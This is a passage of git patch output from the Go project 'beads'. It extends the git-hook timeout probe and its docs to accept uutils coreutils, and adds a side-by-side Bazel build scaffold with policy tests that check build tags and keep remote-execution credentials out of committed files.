TestGenerateHookSection_Timeout(t *testing.T) { if !strings.Contains(section, `"timeout (GNU coreutils) "*`) { t.Error("section missing GNU coreutils identity check") } + if !strings.Contains(section, `"timeout (uutils coreutils) "*`) { + t.Error("section missing uutils coreutils identity check") + } if !strings.Contains(section, `"$_bd_timeout_command" -- "$_bd_timeout"`) { t.Error("section missing GNU timeout argv separator") } @@ -265,23 +268,49 @@ func TestTrackedManagedHookSectionsMatchGenerator(t *testing.T) { } tracked := string(content) - begin := strings.Index(tracked, hookSectionBeginLine()) - if begin < 0 { - t.Fatalf("tracked hook missing %q", hookSectionBeginLine()) - } - endMarker := hookSectionEndLine() + "\n" - relativeEnd := strings.Index(tracked[begin:], endMarker) - if relativeEnd < 0 { - t.Fatalf("tracked hook missing %q", hookSectionEndLine()) - } - end := begin + relativeEnd + len(endMarker) - - if got, want := tracked[begin:end], generateHookSection(hookName); got != want { - t.Fatalf("tracked managed section drifted from generator\nwant:\n%s\ngot:\n%s", want, got) - } if strings.Count(tracked, hookSectionBeginPrefix) != 1 || strings.Count(tracked, hookSectionEndPrefix) != 1 { t.Fatal("tracked hook must contain exactly one managed section") } + // Locate the section by marker PREFIX, not by the versioned marker + // line. Tracked hooks drift for two reasons — generator content and + // the release version stamp — and a prefix scan makes the second one + // ordinary drift that the byte compare below reports and the regen + // arm repairs. Matching hookSectionBeginLine() here would instead + // fail with "missing marker" after a Version bump, before the regen + // arm is reachable. The versioned markers are still verified: they + // are part of `want`. + begin := strings.Index(tracked, hookSectionBeginPrefix) + if begin < 0 { + t.Fatalf("tracked hook missing %q", hookSectionBeginPrefix) + } + relativeEnd := strings.Index(tracked[begin:], hookSectionEndPrefix) + if relativeEnd < 0 { + t.Fatalf("tracked hook missing %q", hookSectionEndPrefix) + } + end := begin + relativeEnd + newline := strings.IndexByte(tracked[end:], '\n') + if newline < 0 { + t.Fatalf("tracked hook %q line is not newline-terminated", hookSectionEndPrefix) + } + end += newline + 1 + got, want := tracked[begin:end], generateHookSection(hookName) + // A dedicated variable, not the package's shared BD_UPDATE_GOLDEN: + // this arm rewrites tracked SOURCE files, so an unscoped + // `BD_UPDATE_GOLDEN=1 go test ./cmd/bd/` must not silently convert + // real hook drift into a working-tree mutation that reports PASS. + if os.Getenv("BD_UPDATE_HOOKS_GOLDEN") == "1" { + if got == want { + return + } + if err := os.WriteFile(path, []byte(tracked[:begin]+want+tracked[end:]), 0o755); err != nil { + t.Fatalf("write tracked hook: %v", err) + } + t.Logf("regenerated managed section in %s", path) + return + } + if got != want { + t.Fatalf("tracked managed section drifted from generator (regenerate with `make githooks-regen`)\nwant:\n%s\ngot:\n%s", want, got) + } }) } } diff --git a/docs/reference/git-integration.md b/docs/reference/git-integration.md index 225bd29c7..9c0bcf70a 100644 --- a/docs/reference/git-integration.md +++ b/docs/reference/git-integration.md @@ -130,12 +130,13 @@ hooks { The hook shim applies a soft deadline to `bd hooks run` when a compatible helper is available. It -uses `timeout` or `gtimeout` only after a successful GNU coreutils identity -probe, avoiding the incompatible `timeout.exe` that native Windows can place -on `PATH`. GNU timeout sends `TERM` at the configured deadline. On POSIX hosts, +uses `timeout` or `gtimeout` only after a successful identity probe for GNU +coreutils or uutils coreutils (same command line, same exit status), avoiding +the incompatible `timeout.exe` that native Windows can place on `PATH`. The +coreutils helper sends `TERM` at the configured deadline. On POSIX hosts, the Perl fallback uses `SIGALRM` on the direct `bd` process at the deadline. -Git for Windows Perl does not guarantee that alarm across `exec`, so GNU -coreutils is the preferred deadline backend there. +Git for Windows Perl does not guarantee that alarm across `exec`, so a +coreutils `timeout` (GNU or uutils) is the preferred deadline backend there. The default deadline is **300 seconds** (5 minutes), which accommodates chained pre-commit pipelines (eslint, prettier, TypeScript compilation). Override it @@ -152,13 +153,15 @@ BEADS_HOOK_TIMEOUT=600 git commit -m "..." The value must be a positive whole number of seconds. Invalid values and zero produce a warning and use the 300-second default. These are soft process deadlines, not process-tree containment: TERM-resistant work or descendants -can outlive them. If neither GNU timeout nor Perl is available, the hook warns -and runs directly without a deadline; that last-resort path can hang until the -hook itself returns. +can outlive them. If neither a coreutils timeout nor Perl is available, the hook +warns and runs directly without a deadline; that last-resort path can hang until +the hook itself returns. -After upgrading from a release whose generated hooks used a name-only timeout -check, run `bd hooks install` once to refresh already-installed canonical hook -sections. Automatic generated-policy adoption is tracked separately. +Already-installed hook sections are not refreshed automatically. After upgrading +to a release that changed the generated timeout probe — the name-only check, or +the uutils coreutils banner — run `bd hooks install` once to refresh +already-installed canonical hook sections. Automatic generated-policy adoption is +tracked separately. When the timeout is reached, beads prints a warning and lets the git operation proceed — the commit or push is not blocked. diff --git a/docs/reference/troubleshooting.md b/docs/reference/troubleshooting.md index 9308471fb..ae2d37120 100644 --- a/docs/reference/troubleshooting.md +++ b/docs/reference/troubleshooting.md @@ -535,16 +535,20 @@ export BEADS_HOOK_TIMEOUT=600 # 10 minutes (in seconds) The value must be a positive whole number of seconds. Invalid values and zero warn and fall back to 300 seconds. Beads accepts `timeout` or `gtimeout` only -when a successful version probe identifies GNU coreutils; native Windows -`timeout.exe` is not compatible. If neither GNU timeout nor Perl is available, -the hook warns that it is running directly without a deadline. +when a successful version probe identifies GNU coreutils or uutils coreutils; +native Windows `timeout.exe` is not compatible. If neither a coreutils timeout +nor Perl is available, the hook warns that it is running directly without a +deadline. -GNU timeout sends `TERM`; on POSIX hosts, Perl's alarm applies to the direct -`bd` process. Git for Windows Perl does not guarantee that alarm across -`exec`, so GNU coreutils is preferred there. TERM-resistant work and -descendant processes are not guaranteed to stop. After upgrading from a -version with the name-only timeout check, run `bd hooks install` once to -refresh existing canonical sections. +The coreutils helper sends `TERM`; on POSIX hosts, Perl's alarm applies to the +direct `bd` process. Git for Windows Perl does not guarantee that alarm across +`exec`, so a coreutils `timeout` (GNU or uutils) is preferred there. +TERM-resistant work and descendant processes are not guaranteed to stop. + +Already-installed hook sections are not refreshed automatically. After upgrading +to a version that changed the timeout probe — the name-only check, or the uutils +coreutils banner — run `bd hooks install` once to refresh existing canonical +sections. ### Permission denied on git hooks diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index d26675b14..aba1ea3b6 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -22,6 +22,7 @@ a unit test: use the real boundary when the defect could live there. | Affected-package confidence | `./scripts/test.sh ./path/to/package/...` | After the focused test passes; include directly affected neighbors when their contract changed. | | Final Go baseline | `make test` | Once after focused work on Go code is green. It applies the normal local build flags, coverage, and local skip handling. | | Named CI wrapper | `make ci-pr-core`, `make ci-pr-policy`, or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | +| Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | Do not replace the focused loop with repeated full-suite runs. Run the final `make test` once the affected Go tests are green. For docs-only changes, use diff --git a/flake.nix b/flake.nix index 6aa00b09b..60a965a66 100644 --- a/flake.nix +++ b/flake.nix @@ -38,6 +38,8 @@ packages = forAllSystems (import ./packages.nix); + checks = forAllSystems (import ./checks.nix); + apps = nixpkgs.lib.genAttrs systems ( system: rec { From 57ef3645019d7c9872d2451f439e18885a33c67a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 27 Sep 2026 03:41:02 -0700 Subject: [PATCH 151/624] build(bazel): side-by-side Bazel scaffold + policy tests (#6798) * build(bazel): add side-by-side Bazel scaffold (module + gazelle) Add a Bzlmod Bazel build alongside the Go toolchain. `go build` and `go test` are unchanged; nothing in CI invokes Bazel yet. - MODULE.bazel: rules_go 0.63.0, gazelle 0.53.0, Go SDK 1.26.7 (matches the go.mod toolchain directive), go_deps from go.mod. - ICU policy (engdocs/ICU-POLICY.md): a go-mysql-server gazelle_override selects the pure-Go regex backend and excludes regex_cgo.go, and .bazelrc builds with --@rules_go//go/config:tags=gms_pure_go, so no target depends on go-icu-regex or links libicu. - third_party/patches: three module_override patches for dolt deps that ship WORKSPACE-era BUILD files, adapted from the gascity project. - .bazelrc: prcore/ci test configs (inert for now; they match pr-core's test selection, not yet its environment isolation) and a generic remote-exec config with a bounded remote timeout. Executor endpoints and TLS credentials come only from a gitignored .bazelrc.local/user.bazelrc or a CI rc outside the workspace. - .bazelversion pins Bazel 9.2.0; .bazelignore skips separate modules, non-Go trees, nested agent worktrees (.claude, .worktrees) and local data/output dirs (.beads, .dolt, dist, .runtime, tmp), so a primary checkout neither builds nor gazelle-rewrites nested worktree copies. - Gazelle-generated BUILD.bazel files for every Go package. - Makefile: `make bazel-sync` (gazelle + bazel mod tidy). - .gitignore: bazel-* output symlinks and machine-local rc files. Co-Authored-By: Claude Opus 5.5 (1M context) * test(bazel): policy tests for the Bazel configuration Add scripts/bazel_policy_test.go, plain Go tests that run under both `go test ./scripts` and `bazel test //scripts:scripts_test`: - MODULE.bazel go_sdk.download version equals the go.mod toolchain. - ICU policy: .bazelrc sets gms_pure_go for build, the go-mysql-server gazelle_override excludes regex_cgo.go, and the root BUILD.bazel carries `# gazelle:build_tags gms_pure_go`. - .bazelversion pins an exact Bazel release. - .bazelrc.local and user.bazelrc are gitignored (parsed from .gitignore and cross-checked with git check-ignore when in a checkout). - No remote-execution endpoints or credentials in committed bazelrc-like files, Markdown docs or .github/**: remote/BES/TLS flags (--remote_executor, --remote_cache, --bes_backend, --remote_header, --tls_client_certificate, ...) with a literal value, with or without a URL scheme, and non-loopback gRPC URLs in rc/.github files. Placeholders, $VARIABLES, and loopback are allowed; Markdown gRPC URLs (OTel exporter docs) are not flagged. Skipped outside a git checkout, e.g. in the Bazel sandbox. Each check is a pure function also exercised against fixtures that break the invariant. The files the tests read are declared as data via //:bazel_policy_files so they resolve from runfiles under Bazel. scripts/check-build-tags.sh now treats Bazel invocations as governed by .bazelrc: the shell command segment that invokes Bazel (split on &&, ||, ;, |, $( and backticks) is exempt from the per-line `go` tag check, while a bare `go` in another segment of the same line is still flagged. When any scanned file invokes Bazel (or .bazelrc exists) .bazelrc must set --@rules_go//go/config:tags=gms_pure_go for build. scripts/check_build_tags_test.go covers both in a temp repository. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(scripts): split bazel lines in pure bash so check-build-tags works with BSD sed BSD sed (macOS) does not expand \n in s/// replacements, so the segment split never happened and the Bazel-exemption tests failed on macos-latest. Co-Authored-By: Claude Opus 5.5 (1M context) * test(scripts): skip check-build-tags tests when bash lacks mapfile macOS runners use /bin/bash 3.2, which has no mapfile; check-build-tags.sh has always required bash >= 4, so the new tests are skipped there. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 13 + .bazelrc | 52 + .bazelversion | 1 + .gitignore | 6 + BUILD.bazel | 83 ++ MODULE.bazel | 44 + MODULE.bazel.lock | 798 +++++++++++ Makefile | 10 + backend/BUILD.bazel | 30 + backend/conformance/BUILD.bazel | 90 ++ beadserrors/BUILD.bazel | 8 + cmd/bd/BUILD.bazel | 1191 +++++++++++++++++ cmd/bd/doctor/BUILD.bazel | 164 +++ cmd/bd/doctor/fix/BUILD.bazel | 97 ++ cmd/bd/protocol/BUILD.bazel | 49 + cmd/bd/setup/BUILD.bazel | 56 + format/BUILD.bazel | 19 + internal/ado/BUILD.bazel | 51 + internal/atomicfile/BUILD.bazel | 14 + internal/audit/BUILD.bazel | 21 + internal/beads/BUILD.bazel | 43 + internal/compact/BUILD.bazel | 39 + internal/config/BUILD.bazel | 65 + internal/configfile/BUILD.bazel | 34 + internal/creds/BUILD.bazel | 20 + internal/debug/BUILD.bazel | 14 + internal/doltremote/BUILD.bazel | 8 + internal/doltserver/BUILD.bazel | 83 ++ internal/doltversion/BUILD.bazel | 28 + internal/eventsjournal/BUILD.bazel | 31 + internal/fdhygiene/BUILD.bazel | 90 ++ internal/formula/BUILD.bazel | 47 + internal/formula/cmd/schemagen/BUILD.bazel | 15 + internal/formula/schemagen/BUILD.bazel | 8 + internal/git/BUILD.bazel | 17 + internal/githooksenv/BUILD.bazel | 14 + internal/github/BUILD.bazel | 37 + internal/gitlab/BUILD.bazel | 39 + internal/gittraceenv/BUILD.bazel | 14 + internal/hooks/BUILD.bazel | 215 +++ internal/httpapi/BUILD.bazel | 121 ++ internal/httpapi/apigen/BUILD.bazel | 16 + internal/httpapi/spec/BUILD.bazel | 9 + internal/idgen/BUILD.bazel | 14 + internal/jira/BUILD.bazel | 39 + internal/linear/BUILD.bazel | 64 + internal/lockfile/BUILD.bazel | 61 + internal/memoryapi/BUILD.bazel | 16 + internal/metrics/BUILD.bazel | 36 + internal/migration/BUILD.bazel | 14 + internal/migration/legacysqlite/BUILD.bazel | 27 + internal/molecules/BUILD.bazel | 28 + internal/notion/BUILD.bazel | 36 + internal/procid/BUILD.bazel | 51 + internal/query/BUILD.bazel | 28 + internal/recipes/BUILD.bazel | 22 + internal/remotecache/BUILD.bazel | 30 + internal/routing/BUILD.bazel | 16 + internal/storage/BUILD.bazel | 111 ++ internal/storage/backendnames/BUILD.bazel | 8 + internal/storage/backends/BUILD.bazel | 26 + internal/storage/contextinfo/BUILD.bazel | 18 + internal/storage/dberrors/BUILD.bazel | 22 + internal/storage/dbproxy/identity/BUILD.bazel | 22 + internal/storage/dbproxy/pidfile/BUILD.bazel | 15 + internal/storage/dbproxy/proxy/BUILD.bazel | 85 ++ internal/storage/dbproxy/server/BUILD.bazel | 49 + internal/storage/dbproxy/util/BUILD.bazel | 21 + internal/storage/depid/BUILD.bazel | 15 + internal/storage/dolt/BUILD.bazel | 354 +++++ internal/storage/doltutil/BUILD.bazel | 31 + internal/storage/domain/BUILD.bazel | 51 + internal/storage/domain/db/BUILD.bazel | 121 ++ internal/storage/domain/fs/BUILD.bazel | 40 + internal/storage/domain/git/BUILD.bazel | 25 + internal/storage/embeddeddolt/BUILD.bazel | 233 ++++ internal/storage/embeddeddolt/cmd/BUILD.bazel | 15 + internal/storage/externaldeps/BUILD.bazel | 43 + internal/storage/fs/BUILD.bazel | 12 + internal/storage/git/BUILD.bazel | 12 + internal/storage/issueops/BUILD.bazel | 196 +++ internal/storage/journalscan/BUILD.bazel | 14 + internal/storage/kvkeys/BUILD.bazel | 14 + internal/storage/memoryops/BUILD.bazel | 18 + internal/storage/rowid/BUILD.bazel | 15 + internal/storage/schema/BUILD.bazel | 167 +++ internal/storage/sqlbuild/BUILD.bazel | 35 + internal/storage/storagecontract/BUILD.bazel | 9 + internal/storage/uow/BUILD.bazel | 177 +++ .../storage/versioncontrolops/BUILD.bazel | 53 + internal/telemetry/BUILD.bazel | 82 ++ internal/templates/BUILD.bazel | 12 + internal/templates/agents/BUILD.bazel | 26 + internal/testutil/BUILD.bazel | 114 ++ internal/testutil/fixtures/BUILD.bazel | 12 + internal/timeparsing/BUILD.bazel | 22 + internal/tracker/BUILD.bazel | 60 + internal/tracker/conformance/BUILD.bazel | 28 + internal/types/BUILD.bazel | 24 + internal/ui/BUILD.bazel | 33 + internal/uimd/BUILD.bazel | 21 + internal/utils/BUILD.bazel | 47 + internal/validation/BUILD.bazel | 32 + internal/workapi/BUILD.bazel | 71 + internal/workapi/storecounter/BUILD.bazel | 14 + internal/workapi/storequerier/BUILD.bazel | 13 + internal/workapi/storereader/BUILD.bazel | 25 + .../workapi/storereadycounter/BUILD.bazel | 13 + internal/workapi/storestats/BUILD.bazel | 14 + .../storeversionreconciler/BUILD.bazel | 13 + .../workapi/storeworkspaceconfig/BUILD.bazel | 13 + internal/workspacegate/BUILD.bazel | 15 + internal/worktreeremove/BUILD.bazel | 14 + issueops/BUILD.bazel | 56 + journalops/BUILD.bazel | 12 + memoryops/BUILD.bazel | 13 + plugins/beads/BUILD.bazel | 9 + schema/BUILD.bazel | 15 + scripts/BUILD.bazel | 24 + scripts/bazel_policy_test.go | 498 +++++++ scripts/bench-ready-indexes/BUILD.bazel | 22 + scripts/check-build-tags.sh | 59 + scripts/check_build_tags_test.go | 105 ++ scripts/gitattributespolicy/BUILD.bazel | 10 + scripts/migration-test/catalog/BUILD.bazel | 20 + scripts/prlintmake/BUILD.bazel | 6 + scripts/repro-dolt-hang/BUILD.bazel | 18 + scripts/repro-dolt-prod-timeouts/BUILD.bazel | 32 + test/conformance/BUILD.bazel | 8 + test/docsync/BUILD.bazel | 9 + test/testmainconvention/BUILD.bazel | 6 + third_party/patches/BUILD.bazel | 12 + third_party/patches/dolt_go_serial.patch | 42 + .../patches/eventsapi_schema_build.patch | 120 ++ .../patches/flatbuffers_v23_importpath.patch | 11 + tools/docsmint/BUILD.bazel | 27 + 136 files changed, 8165 insertions(+) create mode 100644 .bazelignore create mode 100644 .bazelrc create mode 100644 .bazelversion create mode 100644 BUILD.bazel create mode 100644 MODULE.bazel create mode 100644 MODULE.bazel.lock create mode 100644 backend/BUILD.bazel create mode 100644 backend/conformance/BUILD.bazel create mode 100644 beadserrors/BUILD.bazel create mode 100644 cmd/bd/BUILD.bazel create mode 100644 cmd/bd/doctor/BUILD.bazel create mode 100644 cmd/bd/doctor/fix/BUILD.bazel create mode 100644 cmd/bd/protocol/BUILD.bazel create mode 100644 cmd/bd/setup/BUILD.bazel create mode 100644 format/BUILD.bazel create mode 100644 internal/ado/BUILD.bazel create mode 100644 internal/atomicfile/BUILD.bazel create mode 100644 internal/audit/BUILD.bazel create mode 100644 internal/beads/BUILD.bazel create mode 100644 internal/compact/BUILD.bazel create mode 100644 internal/config/BUILD.bazel create mode 100644 internal/configfile/BUILD.bazel create mode 100644 internal/creds/BUILD.bazel create mode 100644 internal/debug/BUILD.bazel create mode 100644 internal/doltremote/BUILD.bazel create mode 100644 internal/doltserver/BUILD.bazel create mode 100644 internal/doltversion/BUILD.bazel create mode 100644 internal/eventsjournal/BUILD.bazel create mode 100644 internal/fdhygiene/BUILD.bazel create mode 100644 internal/formula/BUILD.bazel create mode 100644 internal/formula/cmd/schemagen/BUILD.bazel create mode 100644 internal/formula/schemagen/BUILD.bazel create mode 100644 internal/git/BUILD.bazel create mode 100644 internal/githooksenv/BUILD.bazel create mode 100644 internal/github/BUILD.bazel create mode 100644 internal/gitlab/BUILD.bazel create mode 100644 internal/gittraceenv/BUILD.bazel create mode 100644 internal/hooks/BUILD.bazel create mode 100644 internal/httpapi/BUILD.bazel create mode 100644 internal/httpapi/apigen/BUILD.bazel create mode 100644 internal/httpapi/spec/BUILD.bazel create mode 100644 internal/idgen/BUILD.bazel create mode 100644 internal/jira/BUILD.bazel create mode 100644 internal/linear/BUILD.bazel create mode 100644 internal/lockfile/BUILD.bazel create mode 100644 internal/memoryapi/BUILD.bazel create mode 100644 internal/metrics/BUILD.bazel create mode 100644 internal/migration/BUILD.bazel create mode 100644 internal/migration/legacysqlite/BUILD.bazel create mode 100644 internal/molecules/BUILD.bazel create mode 100644 internal/notion/BUILD.bazel create mode 100644 internal/procid/BUILD.bazel create mode 100644 internal/query/BUILD.bazel create mode 100644 internal/recipes/BUILD.bazel create mode 100644 internal/remotecache/BUILD.bazel create mode 100644 internal/routing/BUILD.bazel create mode 100644 internal/storage/BUILD.bazel create mode 100644 internal/storage/backendnames/BUILD.bazel create mode 100644 internal/storage/backends/BUILD.bazel create mode 100644 internal/storage/contextinfo/BUILD.bazel create mode 100644 internal/storage/dberrors/BUILD.bazel create mode 100644 internal/storage/dbproxy/identity/BUILD.bazel create mode 100644 internal/storage/dbproxy/pidfile/BUILD.bazel create mode 100644 internal/storage/dbproxy/proxy/BUILD.bazel create mode 100644 internal/storage/dbproxy/server/BUILD.bazel create mode 100644 internal/storage/dbproxy/util/BUILD.bazel create mode 100644 internal/storage/depid/BUILD.bazel create mode 100644 internal/storage/dolt/BUILD.bazel create mode 100644 internal/storage/doltutil/BUILD.bazel create mode 100644 internal/storage/domain/BUILD.bazel create mode 100644 internal/storage/domain/db/BUILD.bazel create mode 100644 internal/storage/domain/fs/BUILD.bazel create mode 100644 internal/storage/domain/git/BUILD.bazel create mode 100644 internal/storage/embeddeddolt/BUILD.bazel create mode 100644 internal/storage/embeddeddolt/cmd/BUILD.bazel create mode 100644 internal/storage/externaldeps/BUILD.bazel create mode 100644 internal/storage/fs/BUILD.bazel create mode 100644 internal/storage/git/BUILD.bazel create mode 100644 internal/storage/issueops/BUILD.bazel create mode 100644 internal/storage/journalscan/BUILD.bazel create mode 100644 internal/storage/kvkeys/BUILD.bazel create mode 100644 internal/storage/memoryops/BUILD.bazel create mode 100644 internal/storage/rowid/BUILD.bazel create mode 100644 internal/storage/schema/BUILD.bazel create mode 100644 internal/storage/sqlbuild/BUILD.bazel create mode 100644 internal/storage/storagecontract/BUILD.bazel create mode 100644 internal/storage/uow/BUILD.bazel create mode 100644 internal/storage/versioncontrolops/BUILD.bazel create mode 100644 internal/telemetry/BUILD.bazel create mode 100644 internal/templates/BUILD.bazel create mode 100644 internal/templates/agents/BUILD.bazel create mode 100644 internal/testutil/BUILD.bazel create mode 100644 internal/testutil/fixtures/BUILD.bazel create mode 100644 internal/timeparsing/BUILD.bazel create mode 100644 internal/tracker/BUILD.bazel create mode 100644 internal/tracker/conformance/BUILD.bazel create mode 100644 internal/types/BUILD.bazel create mode 100644 internal/ui/BUILD.bazel create mode 100644 internal/uimd/BUILD.bazel create mode 100644 internal/utils/BUILD.bazel create mode 100644 internal/validation/BUILD.bazel create mode 100644 internal/workapi/BUILD.bazel create mode 100644 internal/workapi/storecounter/BUILD.bazel create mode 100644 internal/workapi/storequerier/BUILD.bazel create mode 100644 internal/workapi/storereader/BUILD.bazel create mode 100644 internal/workapi/storereadycounter/BUILD.bazel create mode 100644 internal/workapi/storestats/BUILD.bazel create mode 100644 internal/workapi/storeversionreconciler/BUILD.bazel create mode 100644 internal/workapi/storeworkspaceconfig/BUILD.bazel create mode 100644 internal/workspacegate/BUILD.bazel create mode 100644 internal/worktreeremove/BUILD.bazel create mode 100644 issueops/BUILD.bazel create mode 100644 journalops/BUILD.bazel create mode 100644 memoryops/BUILD.bazel create mode 100644 plugins/beads/BUILD.bazel create mode 100644 schema/BUILD.bazel create mode 100644 scripts/BUILD.bazel create mode 100644 scripts/bazel_policy_test.go create mode 100644 scripts/bench-ready-indexes/BUILD.bazel create mode 100644 scripts/check_build_tags_test.go create mode 100644 scripts/gitattributespolicy/BUILD.bazel create mode 100644 scripts/migration-test/catalog/BUILD.bazel create mode 100644 scripts/prlintmake/BUILD.bazel create mode 100644 scripts/repro-dolt-hang/BUILD.bazel create mode 100644 scripts/repro-dolt-prod-timeouts/BUILD.bazel create mode 100644 test/conformance/BUILD.bazel create mode 100644 test/docsync/BUILD.bazel create mode 100644 test/testmainconvention/BUILD.bazel create mode 100644 third_party/patches/BUILD.bazel create mode 100644 third_party/patches/dolt_go_serial.patch create mode 100644 third_party/patches/eventsapi_schema_build.patch create mode 100644 third_party/patches/flatbuffers_v23_importpath.patch create mode 100644 tools/docsmint/BUILD.bazel diff --git a/.bazelignore b/.bazelignore new file mode 100644 index 000000000..9ab1ce255 --- /dev/null +++ b/.bazelignore @@ -0,0 +1,13 @@ +examples/library-usage +examples/bd-example-extension-go +integrations +npm-package +website +node_modules +.claude +.worktrees +.beads +.dolt +dist +.runtime +tmp diff --git a/.bazelrc b/.bazelrc new file mode 100644 index 000000000..1344a57fe --- /dev/null +++ b/.bazelrc @@ -0,0 +1,52 @@ +# Bazel configuration for beads (side-by-side with the Go toolchain; `go build` +# and `go test` are unaffected). Bzlmod only; Bazel version is pinned in +# .bazelversion. +common --enable_bzlmod +common --color=no + +# ICU policy (engdocs/ICU-POLICY.md): build go-mysql-server with its pure-Go +# regex backend so no target links libicu. MODULE.bazel carries the matching +# gazelle_override for github.com/dolthub/go-mysql-server. +build --@rules_go//go/config:tags=gms_pure_go + +# Keep the client PATH/env out of action keys. +build --incompatible_strict_action_env + +test --test_output=errors +# Bazel roots t.TempDir() deep under the output tree, which overflows the +# 104-byte unix-socket sun_path limit. Root the per-test tmpdir short. +# TODO: /tmp/bbt is shared by every checkout and user on a host (the per-target +# subdirectory is keyed only by target), so concurrent runs can collide and a +# second user can hit EACCES. Replace with a per-run path before CI relies on it. +test --test_tmpdir=/tmp/bbt +test --sandbox_writable_path=/tmp/bbt +# Test actions do not inherit HOME by default; CI overrides with a scratch HOME. +test --test_env=HOME +test --test_env=BD_DISABLE_METRICS=1 +test --test_env=BD_DISABLE_EVENT_FLUSH=1 +test --test_env=BEADS_TEST_IGNORE_REPO_CONFIG=1 +test --test_env=GIT_CONFIG_NOSYSTEM=1 + +# PR-core parity: the same test *selection* as scripts/ci/pr-core.sh (race, +# -short, skips, tag filters). The test environment is not yet isolated the way +# pr-core's is (HOME, git/XDG/Dolt config); that is follow-up work. +test:prcore --@rules_go//go/config:race +test:prcore --test_arg=-test.short +test:prcore --test_arg=-test.skip=^TestEmbedded +test:prcore --test_env=BEADS_TEST_SKIP=dolt +test:prcore --test_tag_filters=-requires-docker,-embedded,-manual + +test:ci --config=prcore +test:ci --keep_going --test_summary=terse + +# Remote execution against any REAPI-compatible service. Only generic tuning +# lives here; the executor endpoint and TLS credentials are never committed. +# Developers put them in a gitignored user.bazelrc or .bazelrc.local; CI writes +# a generated rc outside the workspace and passes it with --bazelrc. +build:remote-exec --jobs=64 +build:remote-exec --remote_download_minimal +build:remote-exec --remote_timeout=600 +build:remote-exec --remote_retries=3 + +try-import %workspace%/.bazelrc.local +try-import %workspace%/user.bazelrc diff --git a/.bazelversion b/.bazelversion new file mode 100644 index 000000000..deeb3d66e --- /dev/null +++ b/.bazelversion @@ -0,0 +1 @@ +9.2.0 diff --git a/.gitignore b/.gitignore index c5d2e31b2..a4c9b2468 100644 --- a/.gitignore +++ b/.gitignore @@ -255,3 +255,9 @@ tmp/build/cli-docs/where.md tmp/build/cli-docs/worktree.md tmp/docs/CLI_REFERENCE.md *.gate.lock* + +# Bazel: output symlinks and machine-local rc files (remote executor endpoint, +# TLS credentials). Never commit these. +/bazel-* +/.bazelrc.local +/user.bazelrc diff --git a/BUILD.bazel b/BUILD.bazel new file mode 100644 index 000000000..deb4928ae --- /dev/null +++ b/BUILD.bazel @@ -0,0 +1,83 @@ +load("@gazelle//:def.bzl", "gazelle") +load("@rules_go//go:def.bzl", "go_library", "go_test") + +# gazelle:prefix github.com/steveyegge/beads +# gazelle:build_tags gms_pure_go +gazelle(name = "gazelle") + +exports_files([ + "go.mod", + "go.sum", +]) + +# Inputs of the Bazel policy tests in //scripts (bazel_policy_test.go), so they +# run under `bazel test` as well as `go test`. +filegroup( + name = "bazel_policy_files", + srcs = [ + ".bazelrc", + ".bazelversion", + ".gitignore", + "BUILD.bazel", + "MODULE.bazel", + "go.mod", + ], + visibility = ["//scripts:__pkg__"], +) + +go_library( + name = "beads", + srcs = [ + "beads.go", + "beads_cgo.go", + "beads_nocgo.go", + "claim.go", + ], + importpath = "github.com/steveyegge/beads", + visibility = ["//visibility:public"], + deps = [ + "//internal/beads", + "//internal/configfile", + "//internal/doltserver", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/dolt", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/storage/schema", + "//internal/types", + "//internal/workspacegate", + ], +) + +go_test( + name = "beads_test", + srcs = [ + "beads_gated_test.go", + "beads_test.go", + "claim_roundtrip_test.go", + "claim_test.go", + "errors_test.go", + "export_dependency_add_options_test.go", + "issue_lifecycle_external_test.go", + "issue_roles_external_test.go", + "open_backend_selection_test.go", + "open_nocgo_test.go", + "query_interfaces_cgo_test.go", + "query_interfaces_test.go", + ], + embed = [":beads"], + deps = [ + "//internal/hooks", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/dolt", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/telemetry", + "//internal/testutil", + "//internal/types", + "//internal/workspacegate", + "//issueops", + ], +) diff --git a/MODULE.bazel b/MODULE.bazel new file mode 100644 index 000000000..07024e105 --- /dev/null +++ b/MODULE.bazel @@ -0,0 +1,44 @@ +module( + name = "beads", + version = "0.0.0", +) + +bazel_dep(name = "rules_go", version = "0.63.0") +bazel_dep(name = "gazelle", version = "0.53.0") + +go_sdk = use_extension("@rules_go//go:extensions.bzl", "go_sdk") +go_sdk.download( + name = "go_sdk", + version = "1.26.7", +) +use_repo(go_sdk, "go_sdk") + +go_deps = use_extension("@gazelle//:extensions.bzl", "go_deps") +go_deps.from_file(go_mod = "//:go.mod") + +# beads builds go-mysql-server with its stdlib-regex backend (ICU policy): +# gazelle must see gms_pure_go as satisfied so it selects regex_pure.go and +# drops the go-icu-regex (libicu, cgo) edge entirely. +go_deps.gazelle_override( + directives = [ + "gazelle:build_tags gms_pure_go", + "gazelle:exclude internal/regex/regex_cgo.go", + ], + path = "github.com/dolthub/go-mysql-server", +) +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:eventsapi_schema_build.patch"], + path = "github.com/dolthub/eventsapi_schema", +) +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:flatbuffers_v23_importpath.patch"], + path = "github.com/dolthub/flatbuffers/v23", +) +go_deps.module_override( + patch_strip = 1, + patches = ["//third_party/patches:dolt_go_serial.patch"], + path = "github.com/dolthub/dolt/go", +) +use_repo(go_deps, "com_github_anthropics_anthropic_sdk_go", "com_github_burntsushi_toml", "com_github_cenkalti_backoff_v4", "com_github_charmbracelet_x_ansi", "com_github_data_dog_go_sqlmock", "com_github_dolthub_dolt_go", "com_github_dolthub_driver_v2", "com_github_dolthub_eventkit", 